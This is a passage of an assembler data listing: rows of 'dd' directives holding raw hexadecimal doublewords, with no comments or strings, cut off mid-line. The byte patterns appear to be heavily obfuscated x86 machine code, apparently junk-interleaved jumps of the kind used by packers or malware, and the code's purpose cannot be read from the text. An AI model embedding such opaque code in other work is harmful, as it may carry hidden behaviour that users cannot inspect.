36DBC800h dd 875606D6h, 73EB5A94h, 9B9510B3h, 880Fh, 8F0F0000h, 2 dd 0B9667AB2h, 0B86666E5h, 9E9431Ah, 91000000h, 193840BEh dd 366805Bh, 25B95E57h, 661C1BB4h, 11E9FB8Bh, 0AC000000h dd 2C1A7CA0h, 1B1F9B37h, 3A779671h, 0EF2378D9h, 0DE9h dd 19E9D700h, 4659C27Ah, 878A624Eh, 0B70F74D8h, 98A0FF8h dd 0F000000h, 381h, 0F88B6600h, 0EFB86653h, 0C9815A6Ah dd 1129C7DAh, 0A0F5DBBAh, 5840F7Dh, 0BE000000h, 2D49CB44h dd 0B8665F57h, 8B66C2CDh, 2EE880D0h, 0BE2616BAh, 0E860FC34h dd 7, 4C60ED55h, 66149909h, 0E859F78Bh, 5, 0E70A6BA9h dd 6E935h, 92930000h, 0DD5ABECBh, 890F615Eh, 0Eh, 9E9h dd 379F9000h, 17998A94h, 81662EAAh, 57D086D7h, 0EE8h, 4113F400h dd 8DECFEECh, 15520AECh, 0BB934614h, 36B160Ah, 880F5A58h dd 0Bh, 58C0Fh, 0A8B90000h, 0E8152ED3h, 7, 7967B5A9h, 51EE6E46h dd 5F586160h, 0AE9F8h, 0F8E80000h, 0B21132BAh, 8360CA64h dd 0BF0F5956h, 6850FF2h, 0F000000h, 8Dh, 42BF6600h, 0BB666004h dd 0E5B7CB17h, 45D7BA61h, 0BF0F36EAh, 16B966F1h, 11E9F9E1h dd 54000000h, 0E14682C6h, 1C0E51EFh, 0A22D29ADh, 731DD64Fh dd 0E9C1BF0Fh, 14h, 1D82A720h, 0FD166587h, 0C863DCAAh dd 0ABF85F9Ah, 75EDBB0h, 0BE950h, 0CB00000h, 713F3D56h dd 0B04F2CF2h, 81535EFFh, 0A4CF7D3h, 11E85F6Eh, 0B0000000h dd 0D7363A92h, 0A762ADB7h, 2D8BAEB4h, 0D17D79BCh, 5BCAED80h dd 8110E180h, 9DA196E8h, 5660602Fh, 6161605Eh, 5EF95661h dd 7DD8E681h, 0EE979CBh, 0EC000000h, 722EEAC6h, 0CBE05984h dd 0A1B185F4h, 432DBBFFh, 81600AC5h, 9BAE3EFh, 0AADE8161h dd 613F3B5Bh, 0FC38B66h, 0E4BBD6B7h, 562E12D8h, 970F5AB8h dd 0EDBF5B1Fh, 666608ABh, 0FC81A9BFh, 6E9h, 9F31BA00h dd 0F013CAEh, 486h, 0A5BE6600h, 0C9BF0F7Eh, 38B0Fh, 8B660000h dd 51D1BBD1h, 66605013h, 14E9DF8Bh, 0F000000h, 0C5ACAF15h dd 3D6D0382h, 0E824A004h, 25F9A571h, 6100934Fh, 12E952h dd 2AE0000h, 65EF7550h, 90F9F6CEh, 0C9C848EAh, 576A0E37h dd 64D2BA5Fh, 2CB64C5Ch, 0EE8h, 4A769F00h, 2B111D3Ch, 0B7ECC875h dd 6629D2A8h, 0AF1DB81h, 8F0F575Bh, 3, 5ED0B70Fh, 0BD4BBF66h dd 9E960h, 0E160000h, 203A4CDBh, 8BFAA5A8h, 8A0F61D8h dd 3, 8B61FC60h, 0C88AF8F8h, 1B820Fh, 0FE80000h, 6A000000h dd 0B13023EBh, 2ECB2266h, 8E4FEA81h, 0C981CEA0h, 1EEB766Fh dd 0C981F859h, 40E1E1A1h, 0FA5E980h, 0E853F0B7h, 0Eh, 58C6FA3Ch dd 171D12BAh, 0A28C0A0Eh, 81663DB8h, 5AE065D1h, 0E9D88B58h dd 13h, 0DF0CC76Fh, 0ED4D2748h, 0E9CFDD88h, 2903DE61h dd 0F9A33ABh, 0B85h, 58C0F00h, 0B9000000h, 7E188D94h, 0FBE78150h dd 5B1C07CBh, 2830Fh, 0C88A0000h, 8E8h, 0C2866C00h, 0F20F266Dh dd 0D4F5806Ah, 9E95Bh, 0C2D90000h, 5EA07EB6h, 0FCD66EFEh dd 32BBF66h, 0C6B70F52h, 0F5F38059h, 178D0F52h, 0E9000000h dd 12h, 0E1F16AD8h, 0DFC69BA0h, 313C3E42h, 7075E3E9h, 665BB81Ah dd 0F10AFB9h, 8Ch, 830F6000h, 6, 840Fh, 0BA660000h, 0B961D008h dd 3A05061Dh, 0AE8h, 8C30A800h, 0AC2504E0h, 59A1A17Bh dd 89DA8166h, 0D98B66BCh, 0BE9h, 418FB400h, 0F3C37A50h dd 0C335A7D9h, 0FEAFB866h, 0FCA8B66h, 0DE80C7BFh, 0E8FE8B82h dd 8, 948BA73Fh, 0C029F67Eh, 5FF9B70Fh, 8DE38166h, 0EE99Ch dd 0B17E0000h, 5DFE3F44h, 718D5B44h, 0D9BBDD0h, 66F78B66h dd 0C88CE781h, 6FC4B966h, 85B2CA8Ah, 8A9DDF80h, 6E9C7h dd 35400000h, 331F6F6h, 0B7CEB70Fh, 0DF8B6657h, 6E9h, 0E44ACE00h dd 0F6755DCh, 800FC9BFh, 3, 8B23DE80h, 6660F8FBh, 0B9B7F88Bh dd 7B63BB61h, 81661EBFh, 666431E3h, 0F9F196B8h, 0BF0F5B53h dd 0CF8B66C8h, 208D0Fh, 6E80000h, 35000000h, 0D6D46A0Dh dd 0FE984h, 305E0000h, 6F3A2522h, 22F5CAA3h, 5D73BDB8h dd 14E95E27h, 2000000h, 8AFB2137h, 60A5AE26h, 0A237BD94h dd 9C39C401h, 0B95B83F1h, 3DFAC67Bh, 178C0Fh, 0E9600000h dd 0Ah, 0D0273573h, 0CBB91A53h, 830F989Fh, 0 dd 0F5C88B61h, 14E9h, 0C9C9A200h, 5711D1A6h, 810AB51Ah dd 32E9CEAEh, 0BE2B047Eh, 0C61EBBBAh, 14E947C8h, 0FD000000h dd 0DFEF0F59h, 1524EB35h, 3B12C076h, 845F16F7h, 0E90FCCF4h dd 10h, 8BFEC5A0h, 0F4230F5Dh, 0EECA325Dh, 319D85D8h, 58DEB451h dd 39B825B8h, 0AE86041h, 10000000h, 410055F7h, 9E97C623h dd 3381BAC2h, 0F597572h, 689h, 810F00h, 61000000h, 0FA8B66F8h dd 12E9h, 0EA2A0800h, 77E6DE3Ah, 1D814B0Ah, 8BA98004h dd 8B231846h, 0A1B966F7h, 14E994h, 0EA760000h, 29768C7Eh dd 0C50BBD40h, 8BD7BA37h, 5A04FFE4h, 0F2817F3Bh, 2F71248h dd 6C6910B9h, 0F585659h, 1784h, 12E900h, 0EFFD0000h, 0B1EA8B5Dh dd 0F113A418h, 40860A28h, 0FE2A5430h, 0BB66D68Bh, 0BA664FFDh dd 5E9E85Eh, 0CB000000h, 12BE5334h, 0F8F18B66h, 0FDFB70Fh dd 0E381C3BFh, 675FED9Fh, 188E0FF8h, 0E9000000h, 13h, 5EC6687Ch dd 0B2420B04h, 49E29EB7h, 27EC5838h, 0E93295A1h, 13h, 0AA57A119h dd 4B50F8EEh, 2D6C7037h, 6CBDAC7h, 0F383331h, 8C0FDBB7h dd 7, 0F0BF6660h, 0B761F558h, 83BE66E6h, 0D0BF0F30h, 13E9CF8Bh dd 0DB000000h, 98CD51ACh, 27E80A02h, 0AC7CD2ADh, 42CA7E00h dd 8166473Bh, 0E9D47BF6h, 0Eh, 81CBFB10h, 3F2FD59Dh, 0AF024773h dd 8B66CB53h, 1B32B8CEh, 0E881446Dh, 32B732E7h, 1EF8166h dd 7E9FAh, 50B10000h, 49F6DE0Ah, 0B45F57F4h, 68A0F36h dd 81000000h, 0BF5D95DFh, 0AFB9F904h, 0BF6DC1F4h, 1DEF1BB5h dd 0E998DA80h, 7, 0EF7F0C67h, 0FCF0BD4Fh, 0FF8BF0Fh, 1985h dd 11E85600h, 5A000000h, 1A0C7A3h, 0E3A3565Ah, 0AEF52EF7h dd 16C0DA3Ah, 0BA66595Ah, 11E92A68h, 5D000000h, 0E6FB3DFAh dd 48D140Ah, 0F10025F0h, 2CB9053Fh, 9E8h, 4AA4A100h, 0D8053C92h dd 0BB6673E2h, 605EE373h, 60A0F781h, 860F68FAh, 2, 80616160h dd 9E981CEh, 57000000h, 0BBA91057h, 4D074315h, 0CE8C68Bh dd 0F3000000h, 0C54E937Dh, 4D4C64DCh, 0E9586D34h, 7, 0A31B611Ch dd 593309D6h, 53F78166h, 3BE8817Eh, 80498296h, 816622E9h dd 0E8A9DBD1h, 8, 2C31A9D6h, 0B97A994h, 0BE8h, 0CE597A00h dd 35A932A2h, 0BDFADD15h, 22F28166h, 0F585BBAh, 86h, 0D1816000h dd 4206F948h, 6661D98Bh, 81A2C881h, 0C800Fh, 830F0000h dd 6, 0F2A5EB81h, 8166469Dh, 66EC19DEh, 7E8DA8Bh, 0A4000000h dd 0FE5D886Dh, 42BF79D3h, 5B0BC83Eh, 8E9h, 8FABE500h, 0F65C21DEh dd 8B66F80Fh, 860FF5F8h, 5, 3BEE8166h, 0CB8BF988h, 99BF6660h dd 6850FAFh, 0F000000h, 85h, 840F6100h, 0 dd 78A0Fh, 870F0000h, 1, 3C36BFF5h, 8B667869h, 0E8D08BD1h dd 7, 0B7B6EDFBh, 66F2F4C2h, 0DA15D181h, 0E956F558h, 0Fh dd 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 59ED0C7Dh, 13E9h dd 381C0B00h, 0CB8FDE35h, 9721BBA5h, 0C870B353h, 5374B201h dd 0CBBF0F60h, 61D6BF0Fh, 0EB80BAB6h, 71EE811Ch, 8000F6E4h dd 0C28BFFF7h, 4860Fh, 0BE660000h, 55BE4095h, 0E926EB92h dd 0Bh, 54223952h, 8BCD429Ch, 53AB5BFAh, 14E9h, 69E90700h dd 0BCF0F39h, 834F152Fh, 0B2490C19h, 6F9DC34Ch, 8B66588Ch dd 5260F5CAh, 153A41B9h, 81665F09h, 61C8B2C9h, 0BCD28166h dd 496EBEBAh, 830F5195h, 4, 0C8E4BF66h, 65B1C681h, 816663E7h dd 8B0669EEh, 0D18166DEh, 0EE803DD4h, 0BF0F60FDh, 49B966D2h dd 0DE8161DCh, 42D86842h, 50D6B70Fh, 0DE9h, 8AC30300h dd 0DADB2C7Eh, 0E0493A07h, 0B059EEDBh, 0E96060FAh, 5, 0D03A5C45h dd 0C381614Ch, 11CF7D86h, 850F5161h, 0 dd 12E95Eh, 0DB300000h, 0B45155DEh, 22B52220h, 4CF594F8h dd 0A931FC8Ch, 71B9E181h, 810F19B5h, 2, 0EB8155B1h, 6A59DA41h dd 0AE83EB6h, 0E1000000h, 71234FCh, 73AF2222h, 0FF860B7h dd 5E61D1BFh, 8E9h, 9E5FD000h, 0E1C6D59Ah, 7E96Fh, 9D900000h dd 0EA12E9EEh, 0C2BF0FB2h, 0F8D8BF0Fh, 66CFB70Fh, 0E9CEADBEh dd 14h, 0DEE9823Bh, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 97818584h dd 0F781F960h, 564DE79Ah, 0FE861h, 0E1AE0000h, 913C1EC7h dd 0C40B3646h, 0C8D8CABh, 6E81Dh, 43E00000h, 0CC694260h dd 870Fh, 5E5A0000h, 0F5DF8B66h, 5E8h, 0E1D36600h, 0CE8B3CF2h dd 0CDB96659h, 8166535Ah, 5E2EEDD9h, 0AE8h, 0E9B00900h dd 0B0C5AA3Ch, 8BCF24D5h, 0C38B5AD7h, 12E9h, 0B823F300h dd 6692CD4h, 0A20792B7h, 9C8AA9F1h, 0E80267B8h, 13h, 459D3128h dd 0B36D11A7h, 32CC29EAh, 21C4A923h, 523CBBCAh, 5BFEB70Fh dd 0F860505Fh, 6170F680h, 0BFCB8059h, 10810Fh, 7E80000h dd 0B4000000h, 36367B4Bh, 0E880AB3Bh, 0D38B5E45h, 11E960h dd 98440000h, 51801CF3h, 807AE739h, 0C2DA2C0Fh, 538E4B79h dd 58DFB70Fh, 47C78061h, 0C18B6657h, 0AE959h, 5BB70000h dd 651F65B6h, 8871557Eh, 0E8CA8B66h, 11h, 82D179E8h, 4937BA97h dd 0D6A9F5BBh, 0CD1F7DC7h, 5E986h, 0F38E0000h, 5B27AD3Ah dd 80F7BF0Fh, 14E925F6h, 43000000h, 69F48F21h, 6E4DAE1Eh dd 0D30E9EABh, 0F896D8C9h, 8B5DADA8h, 9E8C7h, 0B76B0000h dd 74E0DC61h, 8B9B4389h, 0F08B5FF0h, 0F5C68B60h, 4810F61h dd 66000000h, 568B54B9h, 5E8h, 3302E300h, 0BB660543h, 5F5F65FDh dd 5E9h, 824FAE00h, 12E9B035h, 52000000h, 0A38119AEh, 5736BAB4h dd 593499E9h, 0AC1D99B0h, 20880F53h, 0E8000000h, 0Eh, 6F3602CCh dd 0E4F7692Fh, 0A0DE6CABh, 6E86A7Eh, 39000000h, 732B6777h dd 0F5E5F73h, 0BF66FAB7h, 0ED808EB6h, 0B860F511h, 4ACE3Bh dd 0D0CBBE66h, 65BB6661h, 19820F11h, 0E9000000h, 14h, 1957E6BEh dd 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh, 26155461h, 38F0FF8h dd 0F000000h, 8E9C6B7h, 0CD000000h, 5297592h, 819C0363h dd 4BD550CFh, 850F18h, 80000000h, 830F87D9h, 5, 0F0B70F56h dd 0F78B6658h, 48B0Fh, 0BB660000h, 0F78117B5h, 72DC31DCh dd 10E8h, 0D9AD8C00h, 903F96C9h, 0D9A02F70h, 729AFDC6h dd 8EC2BB58h, 525B7B92h, 5BC38B66h, 0F51D08Ah, 86h, 81665A00h dd 661549CEh, 0FB3FCBEh, 1B8Dh, 0CF8B6000h, 12E9h, 2B82DD00h dd 60EC430Ch, 75B66B95h, 33B97275h, 61C4FDA0h, 0A92315BBh dd 1850F32h, 0F9000000h, 4C93C081h, 0BF663B20h, 0E5809C36h dd 81C8B72Fh, 0EEC1EAD0h, 98E6812Eh, 8B11D8F6h, 3ABB51FBh dd 5E36CF44h, 0DCB96652h, 0EB815ABBh, 2551C1Dh, 0CD9BBF66h dd 890Fh, 0EEBF0000h, 0B72B2F1Eh, 9E969h, 3C240000h, 0C6B49F57h dd 0FC0AA1E2h, 68A0Fh, 0F2810000h, 4F8D8F89h, 0D08B6651h dd 66E68A5Bh, 0F667CBBh, 885h, 800F5200h, 0 dd 4FB8665Bh, 840FBCh, 66000000h, 0E6B6DA8Bh, 10E9h, 2A572100h dd 0C57BD01Fh, 1FC9E027h, 53E8E6B9h, 61FC6012h, 0B7FA8B66h dd 0E381669Dh, 5E560E01h, 0E9CDB6B9h, 1EB9660Ah, 14E9F57Fh dd 0C1000000h, 8274A3C1h, 30BE011Ch, 0BFDF9942h, 5C7D7271h dd 515C69F2h, 89E78158h, 665EFB3Eh, 0A085D281h, 7060C281h dd 0BB66578Dh, 5B533FDBh, 0B1C6B70Fh, 0F890F55h, 0E9000000h dd 0Ah, 1FD00377h, 171AE926h, 0BF0FB335h, 0BF0FF5D3h, 28A0FF0h dd 8B000000h, 0C88166DFh, 0EA81F3D7h, 6EB53CCDh, 2840Fh dd 0F08A0000h, 8310EEBFh, 0F98B6068h, 9E9h, 0A92B7500h dd 7ECF3CFCh, 0E961159Fh, 0Bh, 727BC774h, 27608E0Fh, 0E9E35895h dd 6, 8FA60F1Ah, 8E92AA3h, 0A3000000h, 184C216Eh, 8B652179h dd 3BE981C7h, 0E960D7E2h, 10h, 0B6D34D05h, 6F976D0Dh, 9556F446h dd 6A37F501h, 0E7805AB5h, 0BEC28BE9h, 440E9625h, 8B66F5F5h dd 10E8F7h, 70C20000h, 0AD47D481h, 26468172h, 0F065D112h dd 0C280A1DCh, 0C08158BCh, 4AB3C472h, 38B0Fh, 0BF0F0000h dd 7DBB66D9h, 59BB66FFh, 0CFB70FAFh, 11840Fh, 0CE90000h dd 63000000h, 89F8AD45h, 4EED632Fh, 6024983Fh, 6635B460h dd 255AD681h, 1A880F61h, 0E8000000h, 14h, 75514423h, 19C8F836h dd 0DC72568Bh, 0F96B162Bh, 63526033h, 0E953615Fh, 6, 0AB38D5Dh dd 805AB2BFh, 8A0FC9D8h, 6, 6040B060h, 0EE816161h, 6E08BDDEh dd 59CA8166h, 0F7815308h, 15B206Fh, 0AE95Ah, 8E570000h dd 71DB19B8h, 984D0856h, 7E8h, 428C2A00h, 9C8071DDh, 9A89BE66h dd 0CA81665Bh, 9E85312h, 2F000000h, 2FCDBE74h, 0E09B0A27h dd 0BB5FD38Bh, 409A448h, 298860BBh, 0D981535Ch, 9A7C474h dd 0E981665Bh, 0D38B9C22h, 0E5C8BE66h, 6BEE8166h, 3810F37h dd 66000000h, 8166D98Bh, 0F9FBF6C1h, 29C880F8h, 0FFE8B66h dd 118Fh, 61606000h, 8E9h, 0B84EFC00h, 0AEE5BC59h, 0E6BF616Ah dd 605B7044h, 0A2CA8166h, 14E96191h, 3B000000h, 17A36AD2h dd 0F3B9B204h, 0F17773EFh, 126F0364h, 0FCE0AE0h, 187h dd 8166F500h, 0F1015E2h, 2687h, 0EE800h, 0D5210000h, 0D88ACDDBh dd 21D11621h, 6C32374Dh, 0DE9h, 4054B600h, 389C0A7Eh, 97DD20B5h dd 0F55FA71Fh, 0F6061B7h, 482h, 0E0BE6600h, 9E915h, 0DC6E0000h dd 0EA353C7h, 61AFC87Eh, 0F9F88B60h, 0E881B461h, 12h, 0AC4235C4h dd 4C37478Eh, 3B587D56h, 0EFFC4265h, 840F2E42h, 3, 5E65CA80h dd 0F7C18166h, 0EFBA508Ch, 5A0B32C3h, 2850Fh, 5E510000h dd 0CE9h, 0F2F51A00h, 0C5C0BFE8h, 0DFAC495Eh, 53C88A28h dd 14E9h, 56E9CA00h, 0F6A22A30h, 0DE4F3A05h, 0E5734561h dd 9D99303Bh, 0DE95E7Dh, 57000000h, 42A8C7DBh, 24090161h dd 0E5075C3h, 71E68166h, 2BB665Fh, 0FF18BF0h, 68Bh, 58C18100h dd 0E9261FC7h, 8, 62C745FDh, 1A7F1189h, 14E8FCh, 31B60000h dd 0D96AF0C3h, 791F8988h, 0AAFE82CEh, 510386DFh, 0E95EF33Ah dd 5, 5A5DCC62h, 4ACC80BAh, 58B0Fh, 64BF0000h, 811DB454h dd 3E2618C8h, 0AE966h, 86E70000h, 74DD975Bh, 0F0DC1194h dd 2FCA8166h, 0E28166D2h, 0F08BD1ECh, 0C870Fh, 7E90000h dd 74000000h, 0C2BDC113h, 81600932h, 0A50C4DEEh, 46B8BA51h dd 8161470Dh, 2AAE91D3h, 0EDBFF501h, 0F96F75ADh, 66C2B70Fh dd 0E9F5D38Bh, 0Ah, 942126E7h, 0D18C2FCCh, 0B966A95Fh dd 0BB663055h, 8E8F0C0h, 47000000h, 115658E2h, 0F32DEAEh dd 68Bh, 9AF38100h, 5F1C6F34h, 0BA70D681h, 0CF8B2A12h dd 0FDFBF0Fh, 98Bh, 3880F00h, 66000000h, 6E9F88Bh, 45000000h dd 0F6EE8013h, 66D88BD9h, 0E9ECB4BBh, 0Dh, 1B81213Dh, 7FFFC583h dd 5D5A3E38h, 8E948h, 0C8F10000h, 8AD53648h, 0B70F8BF0h dd 0A576B8D3h, 0A8B83FA4h, 662CD1BDh, 7686EE81h, 158B0Fh dd 10E90000h, 91000000h, 2B50985Bh, 0D495FBFAh, 0F452C38Bh dd 812D03C2h, 2941E0E0h, 0EF816652h, 0B70F8E98h, 1800FF8h dd 0F5000000h, 8A08F580h, 0F18051DEh, 0F78B5E45h, 0FDF8B66h dd 118Ch, 0CE900h, 149A0000h, 2D54B91Dh, 6880BD1Fh, 0B70F19AAh dd 6717BBDAh, 0B70F6922h, 0CBBF0FD9h, 0B149D4B9h, 0E860F80Bh dd 0Fh, 879237ADh, 0FF9A6890h, 0D134913Ah, 0E8E7A637h dd 0Fh, 5F556453h, 0ADE5154Dh, 0A44EB018h, 59F586F9h, 0FF81BA58h dd 0F6134D5h, 587h, 42F1BE00h, 0FFC4ABFh, 585h, 0C9816600h dd 8B668CF5h, 8B66F9C2h, 0DE9F8h, 47C90000h, 627B5788h dd 2A671035h, 66B3678Fh, 0B4A4C5B8h, 18800F90h, 0E8000000h dd 0Fh, 4E014CF8h, 0E27EE82Bh, 1CFFAC69h, 804A0BECh, 8A5F8DE8h dd 0D1D580DAh, 1820Fh, 0E8F50000h, 9, 516B8E68h, 0E5CDCCF2h dd 0C3B70F95h, 3890F5Ah, 66000000h, 8166C28Bh, 662F0FD0h dd 0FC1339BFh, 69F08166h, 0DB8166A3h, 81663B3Ch, 0B59C43CEh dd 0D08156D7h, 3F1B294Ah, 2840F5Eh, 0B3000000h, 198B0FACh dd 0E9000000h, 14h, 9EE84B53h, 331B112Dh, 81643F0Ah, 0BC42A540h dd 0CA7F4104h, 13E9h, 0C89D3200h, 33E4FF84h, 161465FDh dd 3A4CDB0Eh, 0FAA5A820h, 0AE9h, 0AC008A00h, 7BBEFAC4h dd 5052B4FBh, 7FC08166h, 12E85A7Ch, 0D0000000h, 13CDDAF9h dd 0D12E9B48h, 3EDDB169h, 12DE8E25h, 15840F39h, 0E9000000h dd 10h, 1C680256h, 2408E7E7h, 0C107C750h, 31C9BAA9h, 0F080525Ah dd 0EF815F30h, 8448C5Ah, 0B6E988B8h, 8E96029h, 50000000h dd 0D161B2BCh, 66E2065Ah, 0A705E281h, 8E961h, 38700000h dd 20B10229h, 0F60F1B9h, 68Bh, 8F0F00h, 81000000h, 511856CFh dd 14E8614Dh, 2C000000h, 0EC1B4CEAh, 1747AEF8h, 2CE024D8h dd 0F4B37755h, 0FBFBF2Dh, 385h, 0CAB70F00h, 0C9816659h dd 840F0601h, 6, 775EEF81h, 0F4B671C6h, 0A3D1B1BAh, 84BA664Eh dd 0C1BA66BCh, 9DB1BF2Fh, 0BB6622D8h, 8B667AEAh, 53C78AF1h dd 7CC6F281h, 0F5F1662h, 583h, 0D6816600h, 8B66A90Dh, 0B55157F7h dd 0F5E5850h, 18Bh, 0F38BF800h, 5880Fh, 3EBF0000h, 0F529B74h dd 84h, 0E9C38B00h, 0Dh, 0C5C9F65Eh, 3F75201Dh, 0F2B6AE79h dd 24F6812Bh, 0E9097000h, 13h, 66915C0Ah, 0B3A9D802h, 0BE7E8C66h dd 1B13C697h, 0FAF07C5h, 28Eh, 60D58A00h, 0CEF08166h, 563FBE7Eh dd 66617EADh, 80B30DBFh, 5E8F8D6h, 65000000h, 1FD49949h dd 5FD7B70Fh, 0BA66B6B1h, 0BB9CF41h, 80707D70h, 6ABF35D8h dd 0F5070AEh, 8Fh, 0CBC78100h, 6610742Ch, 80ECE381h, 4BF38166h dd 8E8E2h, 0F75D0000h, 0CC362178h, 58FC1FD1h, 5840Fh, 81660000h dd 0B975DCDAh, 113AFF18h, 69C7BA66h, 10E9F08Bh, 0F5000000h dd 6CACE899h, 0E0B10E9h, 42CE39F6h, 0BA102D17h, 538153Fh dd 860FF98Bh, 1, 8E8FCh, 6D3A0000h, 78A66ECEh, 0BF6639E6h dd 565827D9h, 0D281F85Fh, 4DE79361h, 9E860h, 0EBC70000h dd 724BED4Eh, 5EAE6ABFh, 2870Fh, 61600000h, 0E8F48A61h dd 0Bh, 990151B8h, 259D519Ch, 8B6D266Bh, 0BE665ADFh, 13E97427h dd 0F6000000h, 711F11A9h, 0B40F18D2h, 60A957F6h, 0E382E5A8h dd 0E2817E04h, 4F68D058h, 0CE9FCh, 5C890000h, 4087425Eh dd 0AB01F36Bh, 8B66688Bh, 0C830FFEh, 0F000000h, 68Eh, 880F00h dd 0F8000000h, 0EEE80FCh, 0ABF08166h, 6840FFFh, 0F000000h dd 81h, 6E900h, 0DD5E0000h, 0FEB2B3B5h, 860Fh, 0CE80000h dd 81000000h, 0E84A7AD1h, 836AB267h, 0FE0EF0Ah, 584h, 0C7816600h dd 60598D21h, 58B0Fh, 81660000h, 8B6841E1h, 8B6661F3h dd 0D3B70FF1h, 80F98B66h, 0B70F4FC7h, 2880FFAh, 8B000000h dd 28D0FD6h, 0B6000000h, 0EDE181B0h, 0F6D6F4Dh, 187h, 65BEF900h dd 811CFE4Ch, 2FC647C0h, 0E9CE8B64h, 14h, 702072B2h, 0AE43861Fh dd 0C373FB18h, 108F1D3Ah, 0F12BFD71h, 0A3FA76BFh, 5E85Fh dd 0C4300000h, 58F9CE3Eh, 12E981B7h, 36000000h, 0A8FF9800h dd 50EBE16Ah, 53937064h, 0F0D8D3EFh, 0F78160A9h, 329A7F33h dd 0D1DF8161h, 0F3CC068h, 68Eh, 29D68100h, 0E96AA2C6h dd 7, 0B6A3BB6Fh, 60615DDDh, 11E9h, 0A7CC8C00h, 988C488Eh dd 471AB9EBh, 186A7943h, 0B70F1737h, 8B6661F2h, 6E8F3h dd 0F76E0000h, 4DB61353h, 0CDE68166h, 0DE959F9h, 0AD000000h dd 0E58AD81Dh, 0D4193BACh, 51CB2B9Fh, 2DD98166h, 816650A6h dd 5F234AEAh, 66C28B66h, 7783E781h, 830Fh, 0B7FC0000h dd 0EE81667Ch, 0E9509AE9h, 12h, 0B5C5F186h, 305B692Bh dd 5F254979h, 68F1539Dh, 535A42E5h, 7802BB66h, 3890F5Bh dd 0F000000h, 0C6B8CBBFh, 0E94B92EBh, 0Ah, 63175899h, 91134455h dd 6E947F3h, 0A4000000h, 0FBBF098Ah, 0E960FCF8h, 6, 0BA8B0DBCh dd 6660B3C3h, 0D78BCE8Bh, 81666161h, 8B9D6EC7h, 60E38AD6h dd 8BF28B66h, 0B70F61F3h, 13E9D9h, 31140000h, 0F7850AD1h dd 74B40530h, 699149EDh, 2E687471h, 0BBE5B600h, 262D1E46h dd 8BDBB70Fh, 0AE9FBh, 6B8D0000h, 9F52448Eh, 0C1C25299h dd 5A5B5351h, 0FCFCCB8Bh, 0C294EF81h, 0F607B03h, 580h dd 8D26B800h, 0F6157F5h, 78Eh, 5AB85200h, 5A4C1BDDh, 0E3816660h dd 98BE7FD1h, 611538DBh, 0BFC78166h, 8B62B50Bh, 0ECB9FCFBh dd 0E92383E9h, 14h, 0B9FA5143h, 4AE348EBh, 5757C467h, 15BBA910h dd 0CD4D0743h, 0AE9h, 0F2B1E400h, 8028B76Ch, 52C2DDEDh dd 5AE78A56h, 7279B85Ah, 66571B1Ch, 5B7B48B8h, 0F7D08166h dd 0B72FB55Dh, 0F830F3Ah, 0E9000000h, 0Ah, 0FE51BFFFh dd 0C0E6E17Fh, 0F60A4A2h, 483h, 79BB6600h, 0D780538Bh dd 66615859h, 0FD4D9BEh, 82h, 0AE900h, 0E8220000h, 0B4EA040Fh dd 143BF9A3h, 0FC78B66h, 384h, 0F0BF0F00h, 0BE6BC881h dd 51FC3387h, 7D2E3DBEh, 80605B22h, 10E9E1D3h, 0C2000000h dd 0E601B400h, 91559EE0h, 10915EDDh, 611B01C3h, 0E9F9E4B0h dd 9, 11166131h, 219D75EEh, 85E081E1h, 0F646251h, 288h dd 60D68B00h, 13E961h, 0F9950000h, 827BB7B5h, 0CE7F25A9h dd 0FC178BE8h, 0BB4ABF12h, 0B1D98BBCh, 0DE8B6664h, 3800Fh dd 0BF0F0000h, 79E281F8h, 66066EB1h, 4938C281h, 6850Fh dd 0DF810000h, 242205BAh, 9E8h, 0C846BB00h, 0A9286687h dd 81661CA3h, 5FC675C7h, 58EAF381h, 840F5676h, 2, 0E28141B0h dd 5F00AA9Eh, 66F0BF0Fh, 1BC7E781h, 0BBF5C18Bh, 47A02713h dd 0BE824B4h, 0FC000000h, 512DDEE3h, 84AFBDBCh, 0F58A12C4h dd 0DF8BF85Eh, 208F61BFh, 0AE910h, 86D10000h, 3D4CB49Dh dd 349AC76Dh, 7E96060h, 0D7000000h, 0DFAE80D3h, 800F487Ah dd 0 dd 11BA6661h, 0B966613Dh, 8B6645ACh, 6641B4C7h, 870FF18Bh dd 0 dd 14E9C78Bh, 92000000h, 5049CABFh, 0CDEFADB2h, 0B06103D6h dd 0C92F4FF1h, 0E9FCA19Ch, 8, 0E1D15618h, 0C844AC80h, 0FE9h dd 229E7700h, 0B5EF713h, 5B6CD62Ch, 0C7178C55h, 0E8F1BF0Fh dd 6, 4B47523Ch, 8A562D8Ch, 81585FDCh, 8C14CFEFh, 5830F1Fh dd 0BB000000h, 41FF90EAh, 0D281C88Bh, 1DAF95DBh, 6E9h dd 37390100h, 527205FEh, 12E8h, 0D8D9DA00h, 0F4057006h dd 8149FD6Fh, 5212E173h, 5B946A4Dh, 0DABF0F59h, 4B0AD281h dd 41B93555h, 0E976FF20h, 10h, 0B757A4CCh, 0E95B302Dh dd 25135865h, 0A0195FC1h, 76EB8166h, 0F606063h, 8Fh, 9E900h dd 153D0000h, 0EA26CE95h, 61E9958Eh, 61DFB70Fh, 13800Fh dd 0EE90000h, 7A000000h, 4E4659C2h, 0D8878A62h, 0F364A174h dd 5E828h, 0C2910000h, 816AF3BEh, 81B528CEh, 830F5867h dd 7, 0F5E5160h, 0BF61FABFh, 4D6F3266h, 0CE8h, 0F1A05700h dd 0DBBCC7DFh, 450B3DCAh, 59A3B745h, 5FF28B53h, 0CE9h dd 10CED700h, 98C99366h, 0F99127Eh, 5E92Fh, 8D0E0000h dd 0BEBE64E6h, 1FF36FD2h, 13E9h, 2000000h, 0F4C5F662h dd 5CB9D5AFh, 0E89CDAEEh, 4BE969B9h, 8BD78B66h, 53BF66D9h dd 8E94Fh, 2DC10000h, 7AE3388Ah, 13E90F94h, 93000000h dd 0DE717391h, 4EC9A193h, 11B30263h, 0EFB47661h, 13E9BE6Ah dd 4B000000h, 0B2234DD5h, 32717F0Eh, 34DAD6h, 0D9E49D36h dd 81661572h, 660403D8h, 0FC3151BAh, 0DE860F5h, 0E000000h dd 5C2AC205h, 0ADC68931h, 1485E9BBh, 565F5A52h, 7E9h, 8800C600h dd 6F4BA896h, 0C681615Ah, 314A6CEEh, 2657BE66h, 5840F60h dd 66000000h, 5169F281h, 6110E980h, 11E9h, 674D5100h, 8DD0E181h dd 646A7D88h, 0EEFEDE02h, 0C2B2D584h, 0EE8h, 0C5CA9300h dd 8B36C690h, 0E676495h, 0BE8D3CDAh, 378D5697h, 0B827B05Ah dd 